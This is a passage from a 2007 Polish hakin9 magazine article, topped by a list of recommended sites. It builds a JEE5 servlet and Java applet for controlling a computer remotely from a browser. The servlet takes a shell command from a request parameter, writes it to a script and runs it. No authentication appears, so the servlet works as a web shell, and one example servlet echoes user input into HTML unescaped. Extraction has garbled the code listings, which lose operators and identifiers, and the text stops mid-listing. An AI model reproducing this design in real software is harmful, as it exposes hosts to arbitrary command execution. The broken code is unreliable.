Misją serwisu jest dostarczanie rzetelnych in-

formacji z zakresu szeroko pojętej informaty-

ki. Zawiera najświeższe informacje z rynku in-

formatycznego i recenzje czasopism takich jak

Hakin9, php solution, sdj.

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana osoba znajdzie garść potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis informacyjny, na którym znajdują się

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

polecane >>>

Strony

polecane

Misją Infoprof jest zrozumienie potrzeb klienta

i taki dobór usług by jak najlepiej spełniały one

jego oczekiwania, jednocześnie nie narażając

go na niepotrzebne koszty.

www.infoprof.pl

Portal poświęcony zdalnym rozwiązaniom IT,

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal powstał w celu rozreklamowania firmy

zajmującej się kompleksową usługą związaną

z promowaniem stron WWW.

http://www.webgroup.net.pl

www.hakin9.org

hakin9 Nr 5/2007

Narzędzia

o zdalnej kontroli komputerów możemy
oczywiście wykorzystać gotowe rozwią-
zania. W Sieci możemy znaleźć wiele

programów rozpowszechnianych na licencji GPL.
Najpopularniejsze to działające w trybie graficz-
nym RealVNC, TightVNC, dostępne w wersjach
na niemal każdy system operacyjny. Nie zapomi-
najmy też o zwykłym telnecie, który przy minimal-
nym obciążeniu systemu serwera pozwala na je-
go kontrolę w trybie tekstowym. Popularnym roz-
wiązaniem jest również zdalny pulpit, usługa udo-
stępniana w systemie Windows. Wszystkie te-
go typu programy pozwalają na zdalny dostęp
do komputera. Oczywiście pod warunkiem, że
ów komputer został odpowiednio skonfigurowa-
ny mam tu na myśli zarówno usługę umożliwiają-
cą zdalne połączenie, jak i ustawienia zapory sie-
ciowej. Jednak tematem tego artykułu nie jest in-
struktaż obsługi gotowych programów. Chcieliby-
śmy zamiast tego zastanowić się, jak takie pro-
gramy działają. Jako przykład będzie nam służyć
stosunkowo prosty projekt przygotowany w Java

Enterprise Edition 5 (JEE 5). Jego podstawowy-
mi założeniami są:

• minimalne wymagania po stronie klienta łą-

czącego się ze zdalnym komputerem; najle-

piej aby możliwe było korzystanie z przeglą-
darki WWW, która będzie mogła być uru-
chomiona na dowolnym komputerze, a całą
niezbędną do połączenia aplikację kliencką
ściągnie z serwera w postaci apletu;

• połączenie powinno być bezpieczne; najle-

piej, aby w pełni korzystało z zabezpieczeń
oferowanych przez JEE 5;

• aby zmniejszyć obciążenie sieci (i uprościć

nasz przykładowy projekt) dostęp do serwe-

JEE5 – zdalna kontrola

komputera

Błażej Lutkowski, Jacek Matulewski

stopień trudności

Nie trzeba chyba nikogo przekonywać do tego, jak wygodne

jest kontrolowanie zdalnych komputerów przez sieć. W końcu

łatwiej i taniej zalogować się do komputera klienta niż jechać do

niego osobiście. Sam pomysł jest zatem bardzo ciekawy. Równie

ciekawa okazuje się jego realizacja.

Z artykułu dowiesz się

• w jaki sposób napisać prostą aplikację klient

– serwer, pozwalającą na kontrolowanie zdal-
nego komputera poprzez przeglądarkę inter-
netową,

• przekonasz się, że stworzenie prostej aplikacji

do zdalnej kontroli nie wymaga tłumu programi-
stów o nadzwyczajnej wiedzy.

Co powinieneś wiedzieć

• znać przynajmniej podstawy programowania w

Javie (tworzenie apletów, zapis/odczyt z plików,
korzystanie z biblioteki komponentów).

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

ra ograniczymy do trybu teksto-
wego (terminal w przeglądarce).

Całość upichcimy na wolnym ogniu
tak, aby każdy, kto choćby na podsta-
wowym poziomie orientuje się w kwe-
stiach programowania w Javie, był w
stanie bez większych trudności zro-
zumieć przedstawiony poniżej kod.

Dlaczego JEE 5?

Rozwiązanie problemu łączenia
dwóch komputerów możliwe jest w
Javie przynajmniej w dwa zasadni-
cze sposoby. Pierwszy polega na
wykorzystaniu choćby zwykłego Ja-

va 2 Standard Edition (J2SE) i przy-
gotowaniu dwóch aplikacji (klienta i
serwera), które łączyłyby się ze so-
bą za pomocą gniazd (ang. sockets)
podobnie, jak większość aplika-
cji korzystających z obecności sie-
ci, nie tylko te napisanych w Javie.
Taka możliwość nie spełnia jednak
założeń naszego projektu. Dlate-
go wybraliśmy drugie rozwiązanie,
które korzysta z bardziej zaawan-
sowanej technologii Javy dostępnej
w Java Enterprise Edition 5 (w skró-
cie JEE 5). JEE 5 oparta jest na no-
woczesnym modelu warstwowym:
klient (może nim być przeglądarka
WWW, aplet osadzony na stronie
WWW lub samodzielna aplikacja)
oddzielony jest od programu dzia-
łającego po stronie serwera tj. stron

Java Server Pages (JSP) lub serw-
letów. Serwer z kolei jest oddzielo-
ny od trzeciej warstwy, a mianowi-
cie od warstwy logiki biznesowej,
która przechowuje dane. Podział
na warstwy umożliwia podział za-
dań między różne komputery, ści-
ślejszą kontrolę uprawnień każde-
go z nich i ich ochronę. Zmienia tak-
że sposób programowania. Progra-
mista przygotowując serwlet może
określić kryteria, jakie musi spełnić
jego klient, aby mógł się odwołać

do chronionych zasobów. Uwierzy-
telnienie i autoryzacja użytkownika
może być przeprowadzona na pod-
stawie parametrów wywołania prze-
słanych przez klienta oraz informa-
cji przechowywanych w niedostęp-
nej bezpośrednio dla klienta bazie
danych. Dodatkowo można ograni-
czyć możliwość uwierzytelnienia,
np. poprzez zdefiniowanie określo-
nego czasu, w jakim klient może po-
łączyć się z serwerem lub adresu IP
klienta. Należy jednak zwrócić uwa-

Rysunek 1.

Strona domowa serwera Tomcat

Listing 1.

Kod prostej klasy serwletu generującej stronę WWW i wyświetlającej wartość parametru przesłanego

w żądaniu

public

class

EchoServlet

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

response

setContentType

(

"text/html"

)

;

PrintWriter

out

response

getWriter

()

;

out

println

(

DOCTYPE

HTML

PUBLIC

-//W3C//DTD HTML 4.0 Transitional//EN\">"+

<HTML>

<HEAD><TITLE>Strona wygenerowana przez serwer</TITLE></HEAD>

"<BODY>

<H2>Otrzymałem tekst: <FONT COLOR=green>"

request

getParameter

(

"param"

)

"</H2>

</BODY>

</HTML>"

)

;

}

public

void

doPost

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

doGet

(

request

response

)

;

}

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

gę na to, aby wymiana danych nie-
zbędnych do uwierzytelnienia nie
była sama w sobie okazją do zdo-
bycia informacji przez niepowołane
osoby w razie przechwycenia trans-
misji. W profesjonalnej aplikacji
dane nie powinny być więc przesy-
łane otwartym tekstem. Kodowanie
bez użycia szyfrowania także nie
jest pewnym rozwiązaniem. Najle-
piej do łączenia użyć bezpiecznego
protokołu SSL (ang. Secure Socket

Layer), czyli połączeń HTTPS. Za-
gadnienia związane z zabezpiecze-
niem połączenia klienta z serwerem
są jednak tematem na osobny arty-
kuł. Tu skupimy się jedynie na ją-

drze aplikacji, służącej do zdalnej
kontroli.

Zwróćmy jeszcze uwagę na fakt,

że stosowanie Javy samo w sobie
zapobiega kilku poważnym zagroże-
niom. W przeciwieństwie do progra-
mów CGI, pisanych np. w C lub C++,
które nie sprawdzają zakresu tablic i

wobec tego podatne są na ataki tech-
niką przepełniania bufora, przygoto-
wywanie serwletu w Javie jest bez-
pieczniejsze. Ponadto programy CGI
często są pisane w językach skrypto-
wych wykonywanych przez powłoki
systemowe, co stwarza kolejne moż-
liwości ataku, np. przez odpowiednie
wprowadzenie szczególnie traktowa-
nych przez daną powłokę znaków do
parametru wywołania skryptu. Rów-
nież na tego rodzaju sztuczki serwle-
ty są odporne.

Konfiguracja JDK

i serwera WWW

Aby móc programować w JEE 5,
Czytelnik będzie potrzebował naj-
nowszej wersji pakietu Java Develo-
pement Kit (JDK). Można go pobrać
ze strony Sun Microsystems (http://

java.sun.com) i zainstalować na nie-
mal dowolnym systemie operacyj-
nym. Pamiętajmy, żeby po zainstalo-
waniu JDK dodać do zmiennej środo-

wiskowej PATH ścieżkę do jego pod-
katalogu bin. Potrzebować będziemy
również serwera WWW na lokalnym
komputerze, aby móc wygodnie te-
stować projektowany serwlet. Dosko-
nale nadaje się do tego celu serwer
Tomcat fundacji Apache. Najnowsza
wersja to 6.0, ale my korzystaliśmy z
nieco starszej wersji 5.5. Tomcat jest
dostępny do pobrania ze strony http://

tomcat.apache.org.

Mimo, że pośród dostępnych ser-

werów Tomcat nie jest wcale najszyb-
szy, a jego konfiguracja nie należy do
najprostszych, ma on jednak tą nie-
wątpliwą zaletę, że jest dostępny bez-
płatnie i, co najważniejsze, jest zgod-
ny z najnowszymi specyfikacjami
Java Servlet i Java Server Pages. Aby
jednak poprawnie współpracował z
JDK, należy po jego zainstalowaniu
odpowiednio go skonfigurować:

• Definiujemy zmienną środowi-

skową

JAVA _ HOME,

przechowują-

cą ścieżkę do katalogu, w którym
zainstalowany został pakiet JDK
(nie wystarczy JRE). W przypad-
ku systemu Windows wybiera-
my Mój komputer, Właściwości,
Zaawansowane, Zmienne śro-
dowiskowe i tam określamy no-
wą zmienną. Natomiast w Linuk-
sie definiujemy nową zmienną
poleceniami

export JAVA _ HOME

/ścieżka

lub s

etenv JAVA _ HOME

ścieżka,

w zależności od używa-

nej powłoki,

• Definiujemy także zmienną środo-

wiskową

CATALINA _ HOME

, w której

zapisujemy ścieżkę do katalogu
z zainstalowanym serwerem Tom-
cat,

• Możemy zmienić port używany

przez serwer. Domyślnie Tom-
cat działa na porcie 8080, ale
jeśli chcemy, aby używał bardziej
typowego portu HTTP (80), mu-
simy w pliku katalog_serwera/

conf/server.xml zamienić war-
tość atrybutu port w elemencie
Connector z 8080 na 80. Jeżeli
to zrobimy, nie będziemy musie-
li przy wywołaniu serwletu poda-
wać numeru portu.

• Ustawiamy opcję automatycz-

nej aktualizacji serwletów, dzię-

Rysunek 2.

Formularz HTML z Listingu 2 przesyłający żądanie do serwletu

Rysunek 3.

Odpowiedź generowana przez serwlet z Listingu 1

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

ki której unikniemy restartowania
serwera za każdym razem, kiedy
zmienimy pliki klas. W tym celu,
w pliku katalog_serwera/conf/

server.xml w elemencie Service
dodajemy wpis

<DefaultContext

reloadable=”true”/>

• Bardzo ważne jest również włą-

czenie serwletu wywołującego,
którego zadaniem jest umożli-
wienie uruchamiania serwletów
bez konieczności dokonywania
zmian w pliku WEB-INF/web.xml
dla danej aplikacji WWW. Dzię-
ki temu będziemy mogli urucha-
miać serwlet przy użyciu nastę-
pującego adresu URL: http://

localhost/servlet/JakisServlet.

Aby włączyć serwlet wywołujący,
należy z pliku katalog_serwera/

conf/web.xml usunąć komentarz
obejmujący linie (te linie należy
oczywiście zostawić):

<servlet-mapping>
<servlet-name>invoker
</servlet-name>
<url-pattern>/servlet/*
</url-pattern>
</servlet-mapping>

• Ponadto, aby nasz serwer mógł

uruchamiać serwlety lub strony
JSP, musimy ustawić zmienną śro-
dowiskową CLASSPATH umiesz-
czając w niej ścieżkę do główne-

go katalogu roboczego oraz ścieżki
do plików servlet-api.jar i jsp-api.jar,
znajdujących się w katalogu kata-

log_serwera/common/lib.

Po tych wszystkich modyfikacjach
warto przetestować nową konfigura-
cję serwera, wpisując w przeglądar-
ce adres lokalnego serwera http://

localhost, a jeżeli nie zmieniliśmy
portu http://localhost:8080. Powinni-
śmy zobaczyć stronę powitalną o ty-
tule Apache Jakarta Project. O tym,
czy na serwerze WWW możliwe jest
uruchamianie serwletów, przekona-
my się już niebawem.

Aplikacja typu

klient-serwer

Projekt, który zamierzamy przygo-
tować, będzie działał w architektu-
rze klient-serwer. Jest to model apli-
kacji, w której wyraźnie są wyróż-
nione dwa osobne moduły: serwer
udostępniający jakąś usługę i klient
ubiegający się o dostęp do niej.
Dzięki sieci moduł kliencki może
być uruchomiony na zupełnie innym
komputerze niż ten, na którym działa
moduł serwera. W naszym przypad-
ku klientem będzie aplet uruchamia-
ny w przeglądarce na komputerze,
z którego będziemy chcieli kontro-
lować zdalny komputer, a serwerem
– serwlet działający na kompute-
rze, który będzie zdalnie kontrolowa-
ny. Po uruchomieniu apletu w prze-
glądarce przesyła ona pierwsze żą-
danie do serwera. W momencie je-

Listing 2.

Ponieważ serwlet z Listingu 1 obsługuje w taki sam sposób zarówno żądania typu GET, jak i POST,

to jeżeli w formularzu zmienimy metodę wysyłania na POST (pogrubiony atrybut) – efekt będzie identyczny

HTML

HEAD

TITLE

Formularz przesyłający żądanie GET

/TITLE

META HTTP-EQUIV=

"Content-Type"

CONTENT=

"text/html; charset=ISO-8859-2"

/HEAD

BODY

CENTER

Wpisz dowolny tekst:

/H2

FORM ACTION=

"http://localhost/servlet/hakin9.EchoServlet"

METHOD=

"GET"

INPUT TYPE=

"TEXT"

NAME=

"param"

INPUT TYPE=

"SUBMIT"

VALUE=

"Wyślij"

/FORM

/CENTER

/BODY

/HTML

Rysunek 4.

Prosty aplet służący do przesyłania poleceń i wyświetlania

otrzymanych wyników

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

go otrzymania, na serwerze powsta-
je instancja serwletu. Każde kolejne
żądanie powodować już będzie jedy-
nie utworzenie nowego wątku, w któ-
rym wywoływana będzie metoda se-

rvice. Metoda ta rozpoznaje typ żą-
dania HTTP i w zależności od niego
wywołuje odpowiednią metodę, któ-

ra to żądanie obsłuży. W momencie
tworzenia instancji serwletu, tj. za-
zwyczaj po otrzymaniu pierwsze-
go żądania (można także wymusić,
żeby serwlet był tworzony zaraz po
uruchomieniu serwera), w serwlecie
jednorazowo wywoływana jest me-
toda init, której zadaniem jest zaini-

cjowanie danych wykorzystywanych
przez serwlet. Klient może zgłosić
żądanie na kilka sposobów. Tu sku-
pimy się na dwóch najważniejszych
tj. na GET i POST. W przypadku żą-
dania GET parametry żądania do-
łączane są do adresu URL (część
znajdująca się po znaku zapytania).

Listing 3.

Metoda apletu generująca żądanie typu GET

void

doGETmessage

(

String

command

)

{

//(1)

URL

currentPage

getCodeBase

()

;

String

server

currentPage

getHost

()

;

int

port

currentPage

getPort

()

;

String

protocol

currentPage

getProtocol

()

;

//posredni adres serwletu wraz z dołączoną wartością parametru

String

servletName

"/servlet/pakiet.KlasaSerwletu?param="

URLEncoder

encode

(

command

)

;

try

{

URL

adresURL

new

URL

(

protocol

server

port

servletName

)

;

//(2)

URLConnection

connection

adresURL

openConnection

()

;

//(3)

connection

setUseCaches

(

false

)

;

//ustawienie naglowkow HTTP

connection

setRequestProperty

(

"Content-Type"

"application/x-www-form-urlencoded"

)

;

//(4)

ObjectInputStream

inputStream

new

ObjectInputStream

(

connection

getInputStream

())

;

//(5)

ArrayList

String

data

(

ArrayList

String

)

inputStream

readObject

()

;

inputStream

()

;

//wypisanie otrzymanych danych do pola tekstowego jTextArea

for

(

int

;

data

size

()

;

)

jTextArea

append

(

data

get

(

)

;

}

catch

(

Exception

)

{

printStackTrace

()

;

}

Listing 4.

Metoda generująca skrypt wywołujący na serwerze przesłaną do serwletu komendę

private

boolean

generateScript

(

String

command

)

{

PrintWriter

null

;

try

{

new

PrintWriter

(

new

FileWriter

(

scriptFileName

))

;

println

(

"#!/bin/sh"

)

;

println

(

"cd "

currentDir

)

;

//przejście do odpowiedniego katalogu

println

(

command

)

;

//wywolanie komendy

println

(

"pwd"

)

;//odczytanie ścieżki do nowego katalogu

()

;

return

true

;

}

catch

(

IOException

)

{

return

false

;

}

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

Z punktu widzenia dyskrecji i bezpie-
czeństwa taka procedura całkowicie
dyskwalifikuje ten sposób, ponieważ
parametry są widoczne dla użytkow-
nika, a to daje mu łatwy sposób nie-
autoryzowanego przejęcia kontro-
li nad serwletem. Ma to znacze-
nie zwłaszcza wtedy, gdy to nie my,
np. jako firma łączymy się z kompu-
terem klienta, ale gdy w jakimś za-
kresie udostępniamy komputery fir-
my do zdalnej kontroli przez klien-
tów. Ponadto niektóre przeglądar-
ki mają ograniczoną długość adre-
su URL, co uniemożliwia przesłanie
większej ilości danych w ten sposób.
Z tych powodów w profesjonalnych
rozwiązaniach powinniśmy skłaniać
się raczej do stosowania żądania ty-
pu POST. Zaletą tego typu komuni-
kacji jest możliwość przesłania więk-
szej ilości danych, a przede wszyst-
kim uniemożliwienie podglądania
przesyłanych parametrów. Oczywi-
ście używanie żądań typu POST nie
ochroni danych w przypadku przeję-
cia transmisji, ale jak już wspomnieli-
śmy, do tego należy zastosować pro-
tokół szyfrujący SSL.

W przypadku formularzy HTML,

którymi w pierwszej fazie projek-

tu będziemy testować nasz serw-
let, informacja o tym, którą metodą
klient przesyła dane, umieszczona
będzie w atrybucie

METHOD

znacz-

nika

<FORM>

(np.

METHOD=”POST”

Jeśli nie określimy jego wartości,
domyślnie dane są przesyłane me-
todą GET. W aplecie natomiast,
można typ transmisji określić po-
przez ustalenie odpowiednich na-
główków żądania (o tym niżej).

Obsługa żądań przez

serwlet

Projektowanie aplikacji klient-ser-
wer rozpoczniemy od modułu
serwerowego-serwletu. Na począ-
tek prostego, aby łatwo było zro-
zumieć jego działanie. W charak-
terze klienta wykorzystamy prosty
formularz HTML, wysyłający żąda-
nia typu GET. Potem, gdy już uzy-
skamy i przetestujemy połączenie
z serwerem, zamienimy formularz
na aplet, w którym generowane
będą żądania obu typów. Na ko-
niec rozbudujemy serwlet tak, że-
by mógł obsługiwać wydawane z
apletu polecenia. W ten sposób
zyskamy zdalną kontrolę nad kom-
puterem, na którym uruchomiony

jest serwlet. Aby zapewnić moż-
liwość przeniesienia projektu do
uruchamiania poleceń, wykorzy-
stamy zapisywane przez serwlet
skrypty (pliki wsadowe).

Przygotujmy teraz prosty serw-

let, który najlepiej zilustruje sposób
obsługi żądań po stronie serwera.
W tym celu musimy przygotować kla-
sę rozszerzającą abstrakcyjną kla-
sę HttpServlet, nazwijmy ją Echo-

Servlet, w której nadpiszemy meto-
dę doGet. To ona jest uruchamiana
w momencie odebrania żądania typu
GET i to w niej użytkownik powinien
zawrzeć polecenia definiujące odpo-
wiedź serwera. Argumentami tej me-
tody są obiekty typów HttpServletRe-

quest i HttpServletResponse. Pierw-
szy z nich reprezentuje żądanie prze-
syłane do serwletu, drugi zaś odpo-
wiedź odsyłaną do klienta. Załóż-
my, że klient powinien przesłać me-
todą GET żądanie zawierające para-
metr o nazwie param (tzn. że do adre-
su URL doklejony zostanie tekst ?pa-

ram= z następującą po nim wartością
tego parametru). Dla uproszczenia
nasz pierwszy serwlet (Listing 1) zo-
stał napisany w taki sposób, że ocze-
kuje właśnie tak nazwanego parame-

Listing 5.

Metoda uruchamiająca skrypt i przechwytująca strumień wyjścia, który będzie wysłany do klienta

private

ArrayList

String

runScript

(

String

command

)

{

(

generateScript

(

command

))

return

null

;

String

temp

null

;

ArrayList

String

list

null

;

try

{

list

new

ArrayList

String

()

;

Process

proces_potomny

Runtime

getRuntime

()

exec

(

scriptFileName

)

;

//czytanie ze strumienia z buforowaniem

BufferedReader

new

BufferedReader

(

new

InputStreamReader

(

proces_potomny

getInputStream

()))

;

while

((

temp

readLine

())

null

)

list

add

(

temp

)

;

//sprawdzenie nowego bieżącego katalogu

currentDir

list

get

(

list

size

()

)

;

//usuniecie niepotrzebnych linii z ArrayList

list

remove

(

list

size

()

)

;

// zamkniecie bufora

()

;

}

catch

(

IOException

)

{

list

add

(

getMessage

())

;

}

return

list

;

}

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

tru, ale oczywiście istnieje sposób,
aby zbadać etykiety przesyłanych pa-
rametrów w momencie otrzymania
żądania (służy do tego metoda get-

ParameterNames obiektu będącego
pierwszym argumentem metody do-

Get, a więc instancji klasy HttpServle-

tRequest). W przypadku większej ilo-
ści parametrów są one rozdzielane
w adresie URL znakiem & np. http://

server.domain/path/servlet?param1=

wartosc1&param2=wartosc2. Serce
naszego prostego serwletu – meto-
da doGet – ma proste zadanie, odsy-
ła do klienta kod strony HTML, w któ-
rym informuje o otrzymaniu żądania
i wyświetla wartość otrzymanego pa-
rametru param. W ten sposób łatwo
będziemy mogli upewnić się, że ko-
munikacja została nawiązana i dane
są przekazywane poprawnie.

Do wyświetlenia tekstu korzy-

stam z obiektu klasy PrintWriter, udo-
stępnionego przez obiekt response,
tj. drugi argument metody doGet, in-
stancja klasy HttpServletResponse
reprezentująca odpowiedź przesyła-
ną przez serwlet do klienta. W obiek-
cie PrintWriter można umieścić kod
HTML, który zostanie odesłany do
przeglądarki i przez nią wyświetlony.

Zwróćmy uwagę na to, że w ko-

dzie klasy EchoServlet na Listin-
gu 1 obecna jest także metoda do-

Post. Jest to metoda wywoływana w

momencie odebrania żądania typu
POST. Ponieważ z metody doPost
wywoływana jest metoda doGet, to
w przypadku obu żądań odpowiedź
serwletu będzie identyczna – wy-
słanie do przeglądarki kodu HTML.
Nasz serwlet potrafi wobec tego ob-
służyć oba typy żądań. Aby go prze-
testować, potrzebujemy teraz mo-
dułu klienta.

Najprostszy klient

– formularz HTML

Aby przetestować nasz serwlet,
przygotujemy zwykły HTML formu-
larz, wysyłający żądania typu GET.
Jego przykładowy kod widoczny jest
na listingu 2, a reprezentacja w prze-
glądarce na Rysunku 2. W atrybucie
ACTION jego elementu FORM wi-
doczny jest adres naszego lokalnego
serwera i dostępnego na nim serw-

letu EchoServlet. Ponieważ na razie
serwlet znajduje się na tym samym
komputerze, używamy nazwy pętli
zwrotnej tj. localhost. Warto wspo-
mnieć, że jeżeli w żądaniu zawarte
są znaki typu średnik, spacja, to zo-
staną one zamienione na kody ASCII
w zapisie szesnastkowym poprze-
dzone znakiem % np. wspomnia-
ny wcześniej średnik jest zamienia-
ny na %3B. Na Rysunku 3 widoczna
jest strona odesłana przez serwlet z
listingu 1 po odebraniu żądania.

Jeżeli zdamy sobie sprawę z te-

go, że serwlet ma dostęp do kompu-
tera, na którym jest uruchomiony, to
łatwo możemy sobie wyobrazić, że w
formularzu wpisać możemy zamiast
dowolnego tekstu polecenia powłoki
systemowej serwera, a serwlet uru-
chomi to polecenie na serwerze i
odeśle wygenerowany przez te pole-
cenia standardowy strumień wyjścia.
W ten sposób moglibyśmy w naj-
prostszy sposób sterować serwerem
z przeglądarki WWW. My jednak po
stronie klienta ustawimy nie zwy-
kły formularz, ale aplet Javy. Zwolni
to nas, przede wszystkim, z pisania
rozbudowanego kodu HTML, a obok
tego ułatwi przygotowanie interfej-
su użytkownika po stronie klienta,
szczególnie jeżeli zechcemy aplika-
cję kliencką rozbudowywać. Do dys-
pozycji będziemy mieli wówczas ca-
ły arsenał komponentów i klas wspo-
magających Javy.

Aplet Java

– komendy typu GET

W formularzu zastosowaliśmy meto-
dę GET. Moglibyśmy również użyć
metody POST – serwer obsługuje
je obie. Stawiając po stronie klienta
aplet uzyskujemy nowe możliwości
łączenia z serwletem:

• Możemy jak dotąd wysyłać żą-

dania typu GET w postaci adre-
su URL z doklejonymi parame-
trami tj. naśladować formularz z
Listingu 2, a następnie wyświe-
tlić w przeglądarce kod HTML
odesłany przez serwer. Ale po
co wówczas w ogóle przygoto-
wywać aplet?

• Możemy wykorzystać serializa-

cję obiektów do komunikacji mię-
dzy apletem, a serwletem. Po
wysłaniu danych metodą GET
lub POST aplet może samodziel-
nie przetworzyć uzyskaną odpo-
wiedź (tunelowanie HTTP).

• Możliwa jest również bezpośred-

nia komunikacja apletu z progra-
mem działającym na serwerze
poprzez gniazda (w tym przypad-
ku należy dokonać zmian w poli-
tyce bezpieczeństwa, która w do-
myślnym ustawieniach zabrania

Rysunek 5.

Na dołączonej płycie znajduje się pełen kod aplikacji z plikami

projektu dla środowiska Eclipse

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

apletowi takich sztuk). Tę możli-
wość wspominamy, aby niczego
tu nie pominąć, ale jest ona zu-
pełnie sprzeczna z założeniami
naszego projektu.

My wykorzystamy tunelowanie HTTP
i serializację obiektów podczas ko-
munikacji z serwletem, a odebra-
ne (serializowane) dane wyświetli-
my wewnątrz apletu. Na razie żą-
dania wysyłane będą metodą GET,
ale za chwilę nauczymy aplet także
korzystania z metody POST. Co ta-
kiego oznaczają terminy: tunelowa-
nie HTTP i serializacja obiektów?
Zacznijmy od tego drugiego poję-
cia. Serializacja umożliwia zamianę
obiektu (tj. aktualnych wartości jego
pól) na zwykły tekst ASCII w proce-

sie zwanym kodowaniem. W ten spo-
sób można przesyłać obiekty między
aplikacjami, także pracującymi na in-
nych komputerach. Między tekstem
ASCII, a pierwotnym stanem obiektu
występuje relacja wzajemnie jedno-
znaczna, co pozwala na odwrócenie
konwersji i odtworzenie stanu obiek-
tu po jego odebraniu przez inną apli-
kację. Jest jednak jeden warunek,
aplikacja docelowa musi znać klasę,
której instancja jest do niej wysyłana.
Zatem, jeżeli nadawcą jest serwlet
Java, to odbiorca musi również być
napisany w Javie. W naszym przy-
padku będzie to aplet.

Tunelowanie HTTP jest nato-

miast mechanizmem, w którym od-
powiedź odsyłana przez serwer (w
naszym przypadku serwlet Java)

nie jest, jak to ma miejsce zazwy-
czaj, kodem HTML. Wówczas to
na aplikacji klienckiej (w naszym
przypadku na aplecie) spoczywa
odpowiedzialność zinterpretowania
i przetworzenia otrzymanych da-
nych. Na szczęście oba mechani-
zmy są zaimplementowane w kla-
sach Javy, więc naszym zadaniem
będzie jedynie ich umiejętne wyko-
rzystanie.

Stwórzmy zatem aplet z bardzo

prostym interfejsem widocznym
na Rysunku 3. Na formie umieści-
łem tylko dwa komponenty. Pierw-
szy to jednowierszowe pole edy-
cyjne JTextField, w które można
będzie wpisać polecenie (w zależ-
ności od systemu operacyjnego,
pod jakim będzie pracował serwer,

Listing 6.

Klasa serwletu – serwera naszej aplikacji, pozwalającej na kontrolę zdalnego komputera. Proszę

zwrócić uwagę na wykorzystanie danych sesji do przechowania ścieżki katalogu

public

class

RemoteControlServlet

extends

HttpServlet

{

private

final

String

scriptFileName

"./commSkrypt"

;

private

String

currentDir

;

private

ArrayList

String

arList

null

;

public

RemoteControlServlet

()

{

//po pierwszym uruchomieniu znajdziemy się w katalogu domowym uzytkownika

currentDir

System

getProperty

(

"user.dir"

)

;

}

//tu należy umieścić deklaracje metod generateScript i runScript

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

//pobranie obiektu sesji dla biezącego żądania

HttpSession

session

request

getSession

()

;

//sprawdzenie czy mamy do czynienia z nową, czy juz istniejącą sesją

(

session

getAttribute

(

"currentDir"

)

null

)

//sczytanie currentDir dla danej istniejącej juz sesji

currentDir

(

String

)

session

getAttribute

(

"currentDir"

)

;

else

//jezeli sesja jest nowa, to biezacy katalog (zmieniony przez poprzednie

//sesje) musimy przywrocic do stanu jak dla nowej sesji czuli user.dir

currentDir

System

getProperty

(

"user.dir"

)

;

arList

runScript

(

request

getParameter

(

"param"

))

;

session

setAttribute

(

"currentDir"

currentDir

)

;

//deklaracja przesyłania struktur danych przy użyciu serializacji

response

setContentType

(

"application/x-java-serialized-object"

)

;

//utworzenie obiektu klasy ObjectOutputStream

ObjectOutputStream

oos

new

ObjectOutputStream

(

response

getOutputStream

())

;

oos

writeObject

(

arList

)

;

oos

flush

()

;

}

public

void

doPost

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

doGet

(

request

response

)

;

}

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

będą to polecenia Linuksowej czy
Uniksowej powłoki lub polecenia
interpretera komend w Windows).
Natomiast drugim komponentem
jest wielowierszowe pole tekstowe

JTextArea, gdzie prezentowane bę-
dą otrzymane z serwera wyniki. Nic
nie stoi na przeszkodzie, aby inter-
fejs rozbudowywać, np. zastępu-
jąc pole edycyjne rozwijanym me-
nu, w którym dostępne będą ostat-
nio użyte polecenia lub użyć tylko
jednego pola tekstowego do emu-
lacji terminala. To jednak pozosta-
wimy Czytelnikowi, a my skupimy
się na zasadniczym zadaniu aple-
tu, którym jest wysłanie do serwle-
tu żądania zawierającego komendę
wpisaną do pola edycyjnego (na ra-
zie będzie to żądanie typu GET) i

odebranie odpowiedzi, która zawie-
ra tekst, do zaprezentowania w po-
lu tekstowym. Natomiast serwlet, w
reakcji na odebrane żądanie, powi-
nien wykonać przesłane polecenie
i odesłać umieszczony w standar-
dowym strumieniu wyjścia output.

Zdefiniujmy w aplecie metodę o

nazwie doGETmessage, której argu-
mentem będzie łańcuch polecenia.
Implementacja tej metody widoczna
jest na Listingu 3. Treść polecenia
prześlemy w parametrze o nazwie

param. Metoda ta musi wykonać na-
stępujące czynności:

• utworzyć odpowiedni adres URL

z dołączonym parametrem za-
wierającym wysyłane do serwle-
tu polecenie,

• utworzyć obiekt URLConnection

i wywołać na jego rzecz metodę

openConnection,

• zablokować buforowania (cashe'-

owania) przez przeglądarkę in-
formacji dołączonych do adresu
URL,

• utworzyć strumień wejściowy

ObjectInputStream, przy pomocy
którego będziemy odbierać dane
z serwera,

• na koniec odczytać odesła-

ne przez serwlet dane metodą

readObject, po czym można
zamknąć strumień.

Aplet powinien wywołać metodę

doGETmessage za każdym razem,
kiedy wciśnięty zostanie klawisz Enter
w trakcie edycji pola jTextField (zob.

Listing 7.

Metoda apletu wysyłająca żądanie POST

public

void

doPostMessage

(

String

comm_before

){

//zakodowanie danych, które będą wysłane do serwera metoda POST

String

data

"param="

URLEncoder

encode

(

comm_before

)

;

//(1)

URL

currentPage

getCodeBase

()

;

String

server

currentPage

getHost

()

;

int

port

currentPage

getPort

()

;

String

protocol

currentPage

getProtocol

()

;

String

